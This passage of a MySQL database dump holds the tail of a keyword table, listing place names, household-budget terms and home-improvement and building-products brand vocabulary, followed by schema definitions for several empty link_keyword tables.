3,'watertown'),(714,'wausau'),(715,'wayne'),(716,'wenatchee'),(717,'west'),(718,'western'),(719,'wheeling'),(720,'wichita'),(721,'wilkes-barre'),(722,'williamsport'),(723,'wilmington'),(724,'winston-salem'),(725,'wisconsin'),(726,'worcester'),(727,'worth'),(728,'wyoming'),(729,'yahoo'),(730,'yakima'),(731,'york'),(732,'youngstown'),(733,'yuba-sutter'),(734,'yuma'),(735,'2009'),(736,'2011'),(737,'abstract'),(738,'adding'),(739,'age'),(740,'agree'),(741,'airline'),(742,'allowing'),(743,'also'),(744,'amount'),(745,'amounts'),(746,'answer'),(747,'anyone'),(748,'appropriate'),(749,'average'),(750,'away'),(751,'because'),(752,'beer'),(753,'beliefs'),(754,'bills'),(755,'bottom'),(756,'boxes'),(757,'bureau'),(758,'buses'),(759,'can'),(760,'cap-and-trade'),(761,'care'),(762,'census'),(763,'children'),(764,'cigarettes'),(765,'clothing'),(766,'comparison'),(767,'considering'),(768,'contribute'),(769,'controlling'),(770,'current'),(771,'currently'),(772,'day'),(773,'days'),(774,'deducting'),(775,'default'),(776,'dependent'),(777,'dependents'),(778,'diesel'),(779,'directory'),(780,'district'),(781,'does'),(782,'drive'),(783,'each'),(784,'earners'),(785,'else'),(786,'employed'),(787,'everything'),(788,'excluding'),(789,'existing'),(790,'expenses'),(791,'experience'),(792,'family'),(793,'file'),(794,'filing'),(795,'find'),(796,'flights'),(797,'following'),(798,'fuel'),(799,'gallon'),(800,'gasoline'),(801,'good'),(802,'gross'),(803,'have'),(804,'health'),(805,'healthcare'),(806,'house'),(807,'household'),(808,'impact'),(809,'include'),(810,'including'),(811,'income'),(812,'increase'),(813,'individuals'),(814,'jointly'),(815,'knowing'),(816,'licenses'),(817,'like'),(818,'live'),(819,'living'),(820,'lower'),(821,'maintenance'),(822,'many'),(823,'married'),(824,'meals'),(825,'medical'),(826,'miles'),(827,'money'),(828,'month'),(829,'monthly'),(830,'move'),(831,'moving'),(832,'net'),(833,'note'),(834,'now'),(835,'number'),(836,'older'),(837,'optional'),(838,'packs'),(839,'pay'),(840,'paying'),(841,'per'),(842,'percentage'),(843,'personal'),(844,'pieces'),(845,'planning'),(846,'prescriptions'),(847,'price'),(848,'proposals'),(849,'proposed'),(850,'public'),(851,'pump'),(852,'purchases'),(853,'putting'),(854,'rates'),(855,'really'),(856,'recreation'),(857,'rent'),(858,'rentals'),(859,'repairs'),(860,'representatives'),(861,'security'),(862,'self'),(863,'senate'),(864,'sense'),(865,'separately'),(866,'single'),(867,'smoke'),(868,'source'),(869,'spend'),(870,'spirits'),(871,'spouse'),(872,'statistical'),(873,'status'),(874,'substantial'),(875,'subways'),(876,'such'),(877,'support'),(878,'surtax'),(879,'taxable'),(880,'taxes'),(881,'taxis'),(882,'telephone'),(883,'together'),(884,'trains'),(885,'transportation'),(886,'travel'),(887,'utility'),(888,'value'),(889,'vehicle'),(890,'vehicles'),(891,'wages'),(892,'week'),(893,'wine'),(894,'wise'),(895,'work'),(896,'working'),(897,'year'),(898,'years'),(899,'yourself'),(900,'2007-2009'),(901,'3-1'),(902,'406'),(903,'450'),(904,'1884'),(905,'1900'),(906,'5232'),(907,'9079'),(908,'48836'),(909,'59901'),(910,'871-2525'),(911,'across'),(912,'amish'),(913,'antique'),(914,'available'),(915,'barn'),(916,'barns'),(917,'beam'),(918,'beams'),(919,'beautiful'),(920,'beauty'),(921,'bonner'),(922,'box'),(923,'brake'),(924,'brings'),(925,'built'),(926,'c1884'),(927,'careful'),(928,'carry'),(929,'century'),(930,'circa'),(931,'circle'),(932,'cleaning'),(933,'collecting'),(934,'come'),(935,'cost'),(936,'coveted'),(937,'custom'),(938,'dam'),(939,'different'),(940,'discoveries'),(941,'edge'),(942,'email'),(943,'embossed'),(944,'enjoy'),(945,'every'),(946,'flooring'),(947,'fowlerville'),(948,'give'),(949,'groove'),(950,'hand'),(951,'handling'),(952,'hardware'),(953,'has'),(954,'hewn'),(955,'historic'),(956,'hotmail'),(957,'individual'),(958,'information'),(959,'inventory'),(960,'jakebrake2'),(961,'john'),(962,'kalispell'),(963,'life'),(964,'listed'),(965,'lists'),(966,'made'),(967,'mentioned'),(968,'miÂ '),(969,'montana\'s'),(970,'need'),(971,'oak'),(972,'one'),(973,'own'),(974,'patinas'),(975,'pierson'),(976,'pine'),(977,'pioneer'),(978,'plank'),(979,'preparation'),(980,'printable'),(981,'probably'),(982,'pulleys'),(983,'random'),(984,'reclaim'),(985,'reclaimed'),(986,'reclaimlumber'),(987,'remember'),(988,'renewed'),(989,'requires'),(990,'resawn'),(991,'road'),(992,'rustic'),(993,'sales'),(994,'savings'),(995,'sawn'),(996,'see'),(997,'story'),(998,'strength'),(999,'structures'),(1000,'summer'),(1001,'tell'),(1002,'timbers'),(1003,'tin'),(1004,'tongue'),(1005,'unique'),(1006,'unmatched'),(1007,'using'),(1008,'utilizing'),(1009,'variety'),(1010,'washed'),(1011,'water'),(1012,'we\'ve'),(1013,'white'),(1014,'wonderful'),(1015,'wood'),(1016,'wooden'),(1017,'x12'),(1018,'Â Â '),(1019,'Â Â Â Â Â Â Â Â Â Â Â '),(1020,'700'),(1021,'attached'),(1022,'bits'),(1023,'bosch'),(1024,'complete'),(1025,'lot'),(1026,'package'),(1027,'pdf'),(1028,'router'),(1029,'sold'),(1030,'varieties'),(1031,'1500'),(1032,'9x100'),(1033,'brighton'),(1034,'csfabric'),(1035,'http'),(1036,'manufactured'),(1037,'minimum'),(1038,'paper'),(1039,'prime'),(1040,'purchase'),(1041,'rolls'),(1042,'specs'),(1043,'wrap'),(1044,'6337d'),(1045,'battery'),(1046,'charger'),(1047,'drill'),(1048,'folerville'),(1049,'makita'),(1050,'1200'),(1051,'aerator'),(1052,'brass'),(1053,'deck-mounted'),(1054,'durable'),(1055,'faucet'),(1056,'high-arc'),(1057,'installs'),(1058,'kitchen'),(1059,'kwc'),(1060,'lever'),(1061,'low-lead'),(1062,'mixer'),(1063,'paid'),(1064,'pull-down'),(1065,'side'),(1066,'side-lever'),(1067,'single-hole'),(1068,'solid'),(1069,'spout'),(1070,'spray'),(1071,'stainless'),(1072,'swivel'),(1073,'williamston'),(1074,'1050'),(1075,'cap'),(1076,'color'),(1077,'columns'),(1078,'composite'),(1079,'fiberon'),(1080,'ornamental'),(1081,'permacast'),(1082,'plain'),(1083,'railing'),(1084,'total'),(1085,'900'),(1086,'assorted'),(1087,'bifolds'),(1088,'exterior'),(1089,'prehungs'),(1090,'slabs'),(1091,'277'),(1092,'277v'),(1093,'2x4'),(1094,'760'),(1095,'cooper'),(1096,'fixtures'),(1097,'flourescent'),(1098,'lay'),(1099,'lighting'),(1100,'parabolic'),(1101,'webberville'),(1102,'2000'),(1103,'ballister'),(1104,'gray'),(1105,'kit'),(1106,'porch'),(1107,'system'),(1108,'locations'),(1109,'low-voltage'),(1110,'join'),(1111,'248'),(1112,'1985'),(1113,'421-2653'),(1114,'821-1078'),(1115,'air'),(1116,'alternative'),(1117,'always'),(1118,'angelus'),(1119,'armada'),(1120,'balancing'),(1121,'belly'),(1122,'berkley'),(1123,'beverly'),(1124,'bingham'),(1125,'bloomfield'),(1126,'boiler'),(1127,'boilers'),(1128,'bruce'),(1129,'call'),(1130,'catch'),(1131,'centerline'),(1132,'chesterfield'),(1133,'chris'),(1134,'churches'),(1135,'clair'),(1136,'clarkston'),(1137,'clawson'),(1138,'clemens'),(1139,'clients'),(1140,'clinton'),(1141,'combined'),(1142,'conditioning'),(1143,'continues'),(1144,'contractors'),(1145,'customers'),(1146,'deal'),(1147,'designs'),(1148,'directly'),(1149,'done'),(1150,'duct'),(1151,'dynamic'),(1152,'eastpointe'),(1153,'emergency'),(1154,'energy'),(1155,'estimated'),(1156,'excellent'),(1157,'farms'),(1158,'ferndale'),(1159,'franklin'),(1160,'furnaces'),(1161,'generators'),(1162,'grow'),(1163,'harbor'),(1164,'hard'),(1165,'hazel'),(1166,'heat'),(1167,'heaters'),(1168,'heights'),(1169,'hills'),(1170,'his'),(1171,'holly'),(1172,'honestly'),(1173,'huntington'),(1174,'inc'),(1175,'indoor'),(1176,'jim'),(1177,'keego'),(1178,'knows'),(1179,'lathrup'),(1180,'leonard'),(1181,'let'),(1182,'lyon'),(1183,'macomb'),(1184,'meticulous'),(1185,'mick'),(1186,'milford'),(1187,'mount'),(1188,'nisbet-northstar'),(1189,'northville'),(1190,'novi'),(1191,'oakland'),(1192,'operating'),(1193,'orchard'),(1194,'orion'),(1195,'ortonville'),(1196,'overstock'),(1197,'oxford'),(1198,'park'),(1199,'phone'),(1200,'pleasant'),(1201,'pleasure'),(1202,'pontiac'),(1203,'pot'),(1204,'president'),(1205,'prompt'),(1206,'proven'),(1207,'provide'),(1208,'quality'),(1209,'radiant'),(1210,'ray'),(1211,'record'),(1212,'referrals'),(1213,'reliable'),(1214,'relied'),(1215,'replacement'),(1216,'replacements'),(1217,'resellers'),(1218,'retrofit'),(1219,'ridge'),(1220,'romeo'),(1221,'roseville'),(1222,'royal'),(1223,'satisfied'),(1224,'schools'),(1225,'serve'),(1226,'service'),(1227,'shelby'),(1228,'shores'),(1229,'since'),(1230,'smither'),(1231,'southeastern'),(1232,'southfield'),(1233,'sterling'),(1234,'stuff'),(1235,'sylvan'),(1236,'systems'),(1237,'through'),(1238,'township'),(1239,'troy'),(1240,'trucks'),(1241,'village'),(1242,'walled'),(1243,'warren'),(1244,'wixom'),(1245,'wolverine'),(1246,'woods'),(1247,'517-223-0659'),(1248,'absolutely'),(1249,'applications'),(1250,'benjamin'),(1251,'best'),(1252,'businesses'),(1253,'caulking'),(1254,'colors'),(1255,'consultation'),(1256,'coronado'),(1257,'create'),(1258,'credit'),(1259,'designers'),(1260,'elicit'),(1261,'end'),(1262,'expert'),(1263,'finishing'),(1264,'floors'),(1265,'focused'),(1266,'friendlier'),(1267,'friendly'),(1268,'glazing'),(1269,'great'),(1270,'had'),(1271,'hartland'),(1272,'having'),(1273,'help'),(1274,'homes'),(1275,'howell'),(1276,'jhb'),(1277,'knack'),(1278,'making'),(1279,'marine'),(1280,'moore'),(1281,'nisbet'),(1282,'notch'),(1283,'painter'),(1284,'picking'),(1285,'places'),(1286,'pressure'),(1287,'prettier'),(1288,'privelege'),(1289,'profession'),(1290,'professional'),(1291,'quote'),(1292,'refinishing'),(1293,'roller'),(1294,'satsfaction'),(1295,'selecting'),(1296,'sherwin'),(1297,'stain'),(1298,'staining'),(1299,'stainwork'),(1300,'star'),(1301,'take'),(1302,'today'),(1303,'truly'),(1304,'varnish'),(1305,'warmer'),(1306,'williams'),(1307,'worked'),(1308,'america\'s'),(1309,'future'),(1310,'girl'),(1311,'ingenuity'),(1312,'inspirational'),(1313,'inspired'),(1314,'jay'),(1315,'leno'),(1316,'log'),(1317,'nick'),(1318,'perspective'),(1319,'splitter'),(1320,'videos'),(1321,'abide'),(1322,'access'),(1323,'address'),(1324,'advertisers'),(1325,'advertising'),(1326,'allowed'),(1327,'asked'),(1328,'august'),(1329,'change'),(1330,'charge'),(1331,'checking'),(1332,'claims'),(1333,'classified'),(1334,'collect'),(1335,'collected'),(1336,'commencing'),(1337,'common'),(1338,'company'),(1339,'compliance'),(1340,'confirmation'),(1341,'customer'),(1342,'data'),(1343,'directed'),(1344,'distribute'),(1345,'event'),(1346,'guidelines'),(1347,'industry'),(1348,'instructions'),(1349,'item'),(1350,'laws'),(1351,'liable'),(1352,'listings'),(1353,'local'),(1354,'marketing'),(1355,'means'),(1356,'merchandise'),(1357,'myads'),(1358,'non-conforming'),(1359,'obtain'),(1360,'order'),(1361,'order\'s'),(1362,'parties'),(1363,'payment'),(1364,'paypal\'s'),(1365,'place'),(1366,'pornographic'),(1367,'privacy'),(1368,'pulled'),(1369,'purchased'),(1370,'purposes'),(1371,'reason'),(1372,'regularily'),(1373,'related'),(1374,'reliability'),(1375,'removed'),(1376,'respects'),(1377,'responsibility'),(1378,'responsible'),(1379,'salacious'),(1380,'secure'),(1381,'sell'),(1382,'server'),(1383,'shipping'),(1384,'spot'),(1385,'standards'),(1386,'subject'),(1387,'third'),(1388,'transmitted'),(1389,'updates'),(1390,'venue'),(1391,'veracity'),(1392,'warranties'),(1393,'website'),(1394,'Â if'),(1395,'inches'),(1396,'3076'),(1397,'actual'),(1398,'assumed'),(1399,'baseboard'),(1400,'casing'),(1401,'ceilings'),(1402,'chair'),(1403,'coats'),(1404,'coverage'),(1405,'crown'),(1406,'door'),(1407,'gallons'),(1408,'heavy'),(1409,'hourly'),(1410,'light'),(1411,'mouldings'),(1412,'numerical'),(1413,'pale'),(1414,'previous'),(1415,'rail'),(1416,'rate'),(1417,'receive'),(1418,'reduce'),(1419,'rounded'),(1420,'same'),(1421,'scope'),(1422,'size'),(1423,'trim'),(1424,'window'),(1425,'case'),(1426,'copy'),(1427,'errors'),(1428,'message'),(1429,'send'),(1430,'transmission'),(1431,'anonymous'),(1432,'emails'),(1433,'inquiry'),(1434,'logged'),(1435,'regarding'),(1436,'01300-05999'),(1437,'06000-08999'),(1438,'09000-09999'),(1439,'10000-14999'),(1440,'15000-16850'),(1441,'administration'),(1442,'alphabetical'),(1443,'antiques'),(1444,'atmospheric'),(1445,'benches'),(1446,'canadian'),(1447,'cement'),(1448,'code'),(1449,'comm'),(1450,'contract'),(1451,'conversion'),(1452,'coverings'),(1453,'department'),(1454,'dictionary'),(1455,'documents'),(1456,'fans'),(1457,'forms'),(1458,'gmt'),(1459,'homeland'),(1460,'index'),(1461,'institute'),(1462,'lookup'),(1463,'maps'),(1464,'metal'),(1465,'national'),(1466,'oceanic'),(1467,'osha'),(1468,'plastics'),(1469,'posts'),(1470,'publications'),(1471,'reference'),(1472,'resi'),(1473,'rooms'),(1474,'safety'),(1475,'signs'),(1476,'spas'),(1477,'specifications'),(1478,'storage'),(1479,'theater'),(1480,'translator'),(1481,'treatment'),(1482,'vacuum'),(1483,'waste'),(1484,'weather'),(1485,'whirlpools'),(1486,'world'),(1487,'zip'),(1488,'zones'),(1489,'Â»appliances'),(1490,'Â»arch'),(1491,'Â»baths'),(1492,'Â»building'),(1493,'Â»cabinetry'),(1494,'Â»carpet'),(1495,'Â»ceiling'),(1496,'Â»central'),(1497,'Â»closet'),(1498,'Â»closets'),(1499,'Â»concrete'),(1500,'Â»countertops'),(1501,'Â»cupolas'),(1502,'Â»doors'),(1503,'Â»drywall'),(1504,'Â»electrical'),(1505,'Â»equipment'),(1506,'Â»fiber'),(1507,'Â»fireplaces'),(1508,'Â»fluid'),(1509,'Â»furniture'),(1510,'Â»hardware'),(1511,'Â»home'),(1512,'Â»hvac'),(1513,'Â»insulated'),(1514,'Â»insulation'),(1515,'Â»irrigation'),(1516,'Â»kitchen'),(1517,'Â»labor'),(1518,'Â»laminate'),(1519,'Â»lamp'),(1520,'Â»lighting'),(1521,'Â»louvers'),(1522,'Â»low'),(1523,'Â»mailboxes'),(1524,'Â»masonry'),(1525,'Â»millwork'),(1526,'Â»mortgages'),(1527,'Â»ornamental'),(1528,'Â»paint'),(1529,'Â»park'),(1530,'Â»pavers'),(1531,'Â»plumbing'),(1532,'Â»pools'),(1533,'Â»reference'),(1534,'Â»refrigeration'),(1535,'Â»roofing'),(1536,'Â»security'),(1537,'Â»sheds'),(1538,'Â»sound'),(1539,'Â»specialty'),(1540,'Â»steel'),(1541,'Â»street'),(1542,'Â»tile'),(1543,'Â»ventilation'),(1544,'Â»vinyl'),(1545,'Â»wallcovering'),(1546,'Â»waste'),(1547,'Â»weathervanes'),(1548,'Â»window'),(1549,'Â»windows'),(1550,'Â»wood'),(1551,'adirondack'),(1552,'chairs'),(1553,'plans'),(1554,'powered'),(1555,'accessed'),(1556,'been'),(1557,'error'),(1558,'invalid'),(1559,'01300'),(1560,'02225'),(1561,'02800'),(1562,'02810'),(1563,'03000'),(1564,'03120'),(1565,'04000'),(1566,'05000'),(1567,'05700'),(1568,'accessories'),(1569,'acme'),(1570,'amvic'),(1571,'architectural'),(1572,'association'),(1573,'belden'),(1574,'bfi'),(1575,'blanc'),(1576,'boral'),(1577,'brick'),(1578,'bricks'),(1579,'coatings'),(1580,'corning'),(1581,'cultured'),(1582,'davis'),(1583,'gaf'),(1584,'grace'),(1585,'gravel'),(1586,'halfen'),(1587,'hilti'),(1588,'hunter'),(1589,'iceblock'),(1590,'icf'),(1591,'industries'),(1592,'insulated'),(1593,'irrigation'),(1594,'irritrol'),(1595,'lafarge'),(1596,'mapei'),(1597,'mel'),(1598,'metals'),(1599,'nat\'l'),(1600,'northey'),(1601,'organizations'),(1602,'owens'),(1603,'pageâ†’'),(1604,'pavers'),(1605,'pavestone'),(1606,'polysteel'),(1607,'prosoco'),(1608,'rainbird'),(1609,'rinker'),(1610,'sand'),(1611,'solomon'),(1612,'stone'),(1613,'thoroseal'),(1614,'toro'),(1615,'tyvek'),(1616,'unilock'),(1617,'worldwide'),(1618,'06000'),(1619,'06400'),(1620,'06415'),(1621,'07400'),(1622,'07460'),(1623,'08200'),(1624,'08360'),(1625,'08500'),(1626,'08620'),(1627,'08700'),(1628,'abc'),(1629,'american'),(1630,'andersen'),(1631,'anthony'),(1632,'armstrong'),(1633,'associates'),(1634,'avonite'),(1635,'baker-mcmillen'),(1636,'baldwin'),(1637,'benchmark'),(1638,'brunt'),(1639,'butler'),(1640,'cabinet'),(1641,'cabinets'),(1642,'cangelosi'),(1643,'cardell'),(1644,'cascade'),(1645,'cemplank'),(1646,'certainteed'),(1647,'clay'),(1648,'clopay'),(1649,'concepts'),(1650,'corian'),(1651,'cornell'),(1652,'corp'),(1653,'countertop'),(1654,'countertops'),(1655,'dawson'),(1656,'desk'),(1657,'direct'),(1658,'dow'),(1659,'downsview'),(1660,'dupont'),(1661,'duprin'),(1662,'elk'),(1663,'engineered'),(1664,'executive'),(1665,'fiber'),(1666,'fieldstone'),(1667,'forest'),(1668,'formica'),(1669,'genie'),(1670,'guardian'),(1671,'hammer'),(1672,'hardie'),(1673,'igm'),(1674,'international'),(1675,'james'),(1676,'jeld-wen'),(1677,'johns'),(1678,'kcma'),(1679,'kitchencraft'),(1680,'knape'),(1681,'knauf'),(1682,'kraftmaid'),(1683,'laminates'),(1684,'level'),(1685,'lock'),(1686,'ltd'),(1687,'macrae\'s'),(1688,'manville'),(1689,'marble'),(1690,'marvin'),(1691,'mastercraft'),(1692,'merillat'),(1693,'mirror'),(1694,'monier'),(1695,'nevamar'),(1696,'nova'),(1697,'omega'),(1698,'openers'),(1699,'org'),(1700,'overhead'),(1701,'pacific'),(1702,'parts'),(1703,'peachtree'),(1704,'pella'),(1705,'pionite'),(1706,'plastic'),(1707,'raynor'),(1708,'river'),(1709,'schlage'),(1710,'schrock'),(1711,'showcase'),(1712,'silestone'),(1713,'simpson'),(1714,'skylights'),(1715,'solatube'),(1716,'strongtie'),(1717,'sugatsune'),(1718,'supply'),(1719,'surfaces'),(1720,'tamko'),(1721,'thermatru'),(1722,'tile'),(1723,'timberlake'),(1724,'tubular'),(1725,'unifix'),(1726,'vogt'),(1727,'von'),(1728,'wayne-dalton'),(1729,'weiser'),(1730,'weyerhaeuser'),(1731,'wilsonart'),(1732,'wood-mode'),(1733,'woodmark'),(1734,'woodtruss'),(1735,'yale'),(1736,'09720'),(1737,'09770'),(1738,'america'),(1739,'amtico'),(1740,'beaulieu'),(1741,'behr'),(1742,'bentley'),(1743,'bradbury'),(1744,'carpet'),(1745,'ceramiche'),(1746,'congoleum'),(1747,'daltile'),(1748,'eliane'),(1749,'emser'),(1750,'fiandre'),(1751,'finishes'),(1752,'fuller'),(1753,'graniti'),(1754,'greeff'),(1755,'guild'),(1756,'gypsum'),(1757,'hartco'),(1758,'heartpine'),(1759,'interceramic'),(1760,'kahrs'),(1761,'karastan'),(1762,'kelly-moore'),(1763,'lambert'),(1764,'laminate'),(1765,'laufen'),(1766,'lauren'),(1767,'mannington'),(1768,'marazzi'),(1769,'mastertile'),(1770,'mdc'),(1771,'milliken'),(1772,'mills'),(1773,'minwax'),(1774,'mohawk'),(1775,'paints'),(1776,'paperhangers'),(1777,'pergo'),(1778,'porcelanosa'),(1779,'ppg'),(1780,'pratt'),(1781,'ralph'),(1782,'rug'),(1783,'rulon'),(1784,'rustoleum'),(1785,'scalamandre'),(1786,'schumacher'),(1787,'seabrook'),(1788,'shaw'),(1789,'special'),(1790,'stainmaster'),(1791,'trikes'),(1792,'usg'),(1793,'vintage'),(1794,'vinyl'),(1795,'walker'),(1796,'wallcoverings'),(1797,'wallpaperstore'),(1798,'warner'),(1799,'waverly'),(1800,'zanger'),(1801,'10300'),(1802,'10340'),(1803,'10550'),(1804,'10670'),(1805,'11013'),(1806,'11060'),(1807,'11300'),(1808,'11450'),(1809,'11454'),(1810,'12000'),(1811,'12493'),(1812,'12500'),(1813,'13035'),(1814,'13150'),(1815,'13850'),(1816,'abwf'),(1817,'adkins'),(1818,'adt'),(1819,'aga'),(1820,'alarm'),(1821,'amana'),(1822,'appliances'),(1823,'aqua'),(1824,'aquatic'),(1825,'asko'),(1826,'automatic'),(1827,'bbq'),(1828,'brinks'),(1829,'broil'),(1830,'castings'),(1831,'closets'),(1832,'concept'),(1833,'cupolas'),(1834,'delta'),(1835,'dolby'),(1836,'ducane'),(1837,'emerald'),(1838,'environmental'),(1839,'fire'),(1840,'fireplace'),(1841,'fisher'),(1842,'fluid'),(1843,'frigidaire'),(1844,'furniture'),(1845,'galore'),(1846,'glo'),(1847,'grilles'),(1848,'heartland'),(1849,'heatilator'),(1850,'hotpoint'),(1851,'hotspring'),(1852,'ironing'),(1853,'jacuzzi'),(1854,'king'),(1855,'kitchenaid'),(1856,'lamps'),(1857,'lee'),(1858,'louvers'),(1859,'magazine'),(1860,'mailboxes'),(1861,'marvel'),(1862,'maytag'),(1863,'mfg'),(1864,'miele'),(1865,'northland'),(1866,'nutone'),(1867,'outdoor'),(1868,'partitions'),(1869,'paykel'),(1870,'perfection'),(1871,'pgs'),(1872,'portafab'),(1873,'roper'),(1874,'rowan'),(1875,'sharp'),(1876,'sheds'),(1877,'spa'),(1878,'specialty'),(1879,'stanley-vidmar'),(1880,'street'),(1881,'sub-zero'),(1882,'sundance'),(1883,'swimmingpools'),(1884,'swin'),(1885,'unlimited'),(1886,'vac'),(1887,'ventahood'),(1888,'vents'),(1889,'viking'),(1890,'weathervanes'),(1891,'whirlpool'),(1892,'wolf'),(1893,'www'),(1894,'15400'),(1895,'15800'),(1896,'16000'),(1897,'16400'),(1898,'16820'),(1899,'airvent'),(1900,'americh'),(1901,'aosmith'),(1902,'aprilaire'),(1903,'aquaglass'),(1904,'basics'),(1905,'baths'),(1906,'bathware'),(1907,'better'),(1908,'blanco-america'),(1909,'bose'),(1910,'brasstech'),(1911,'briggs'),(1912,'broan'),(1913,'bryant'),(1914,'build'),(1915,'carrier'),(1916,'casablanca'),(1917,'controls'),(1918,'cor-a-vent'),(1919,'cornerstone'),(1920,'crane'),(1921,'danze'),(1922,'elkay'),(1923,'emerson'),(1924,'eurobath'),(1925,'fannie'),(1926,'faucets'),(1927,'feiss'),(1928,'ferguson'),(1929,'fiat'),(1930,'framburg'),(1931,'franke'),(1932,'gardens'),(1933,'grohe'),(1934,'hansgrohe'),(1935,'hapco'),(1936,'hydrosystem'),(1937,'intercoms'),(1938,'johnson'),(1939,'kohler'),(1940,'lasco'),(1941,'lending'),(1942,'lennox'),(1943,'leviton'),(1944,'lightolier'),(1945,'linear'),(1946,'literature'),(1947,'lithonia'),(1948,'loan'),(1949,'loans'),(1950,'lucasey'),(1951,'lutron'),(1952,'mae'),(1953,'manufacturers'),(1954,'moen'),(1955,'mortgage'),(1956,'mortgages'),(1957,'mti'),(1958,'newconcept'),(1959,'owens-corning'),(1960,'pfister'),(1961,'plan'),(1962,'quicken'),(1963,'rejuvenation'),(1964,'rheem'),(1965,'schonbek'),(1966,'sloan'),(1967,'sound'),(1968,'standard'),(1969,'thomas'),(1970,'toto'),(1971,'traditional'),(1972,'trane'),(1973,'tree'),(1974,'triarch'),(1975,'ultrabaths'),(1976,'ventilation'),(1977,'veterans'),(1978,'westinghouse');
/*!40000 ALTER TABLE `keywords` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `link_keyword0`
--

DROP TABLE IF EXISTS `link_keyword0`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `link_keyword0` (
  `link_id` int(11) NOT NULL,
  `keyword_id` int(11) NOT NULL,
  `weight` int(3) DEFAULT NULL,
  `domain` int(4) DEFAULT NULL,
  KEY `linkid` (`link_id`),
  KEY `keyid` (`keyword_id`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `link_keyword0`
--

LOCK TABLES `link_keyword0` WRITE;
/*!40000 ALTER TABLE `link_keyword0` DISABLE KEYS */;
/*!40000 ALTER TABLE `link_keyword0` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `link_keyword1`
--

DROP TABLE IF EXISTS `link_keyword1`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `link_keyword1` (
  `link_id` int(11) NOT NULL,
  `keyword_id` int(11) NOT NULL,
  `weight` int(3) DEFAULT NULL,
  `domain` int(4) DEFAULT NULL,
  KEY `linkid` (`link_id`),
  KEY `keyid` (`keyword_id`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `link_keyword1`
--

LOCK TABLES `link_keyword1` WRITE;
/*!40000 ALTER TABLE `link_keyword1` DISABLE KEYS */;
/*!40000 ALTER TABLE `link_keyword1` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `link_keyword2`
--

DROP TABLE IF EXISTS `link_keyword2`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `link_keyword2` (
  `link_id` int(11) NOT NULL,
  `keyword_id` int(11) NOT NULL,
  `weight` int(3) DEFAULT NULL,
  `domain` int(4) DEFAULT NULL,
  KEY `linkid` (`link_id`),
  KEY `keyid` (`keyword_id`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `link_keyword2`
--

LOCK TABLES `link_keyword2` WRITE;
/*!40000 ALTER TABLE `link_keyword2` DISABLE KEYS */;
/*!40000 ALTER TABLE `link_keyword2` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `link_keyword3`
--

DROP TABLE IF EXISTS `link_keyword3`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `link_keyword3` (
  `link_id` int(11) NOT NULL,
  `keyword_id` int(11) NOT NULL,
  `weight` int(3) DEFAULT NULL,
  `domain` int(4) DEFAULT NULL,
  KEY `linkid` (`link_id`),
  KEY `keyid` (`keyword_id`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `link_keyword3`
--

LOCK TABLES `link_keyword3` WRITE;
/*!40000 ALTER TABLE `link_keyword3` DISABLE KEYS */;
/*!40000 ALTER TABLE `link_keyword3` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `link_keyword4`
--

DROP TABLE IF EXISTS `link_keyword4`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `link_keyword4` (
  `link_id` int(11) NOT NULL,
  `keyword_id` int(11) NOT NULL,
  `weight` int(3) DEFAULT NULL,
  `domain` int(4) DEFAULT NULL,
  KEY `linkid` (`link_id`),
  KEY `keyid` (`keyword_id`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `link_keyword4`
--

LOCK TABLES `link_keyword4` WRITE;
/*!40000 ALTER TABLE `link_keyword4` DISABLE KEYS */;
/*!40000 ALTER TABLE `link_keyword4` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `link_keyword5`
--

DROP TABLE IF EXISTS `link_keyword5`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `link_keyword5` (
  `link_id` int(11) NOT NULL,
  `keyword_id` int(11) NOT NULL,
  `weight` int(3) DEFAULT NULL,
  `domain` int(4) DEFAULT NULL,
  KEY `linkid` (`link_id`),
  KEY `keyid` (`keyword_id`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `link_keyword5`
--

LOCK TABLES `link_keyword5` WRITE;
/*!40000 ALTER TABLE `link_keyword5` DISABLE KEYS */;
/*!40000 ALTER TABLE `link_keyword5` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `link_keyword6`
--

DROP TABLE IF EXISTS `link_keyword6`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `link_keyword6` (
  `link_id` int(11) NOT NULL,
  `keyword_id` int(11) NOT NULL,
  `weight` int(3) DEFAULT NULL,
  `domain` int(4) DEFAULT NULL,
  KEY `linkid` (`link_id`),
  KEY `keyid` (`keyword_id`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `link_keyword6`
--

LOCK TABLES `link_keyword6` WRITE;
/*!40000 ALTER TABLE `link_keyword6` DISABLE KEYS */;
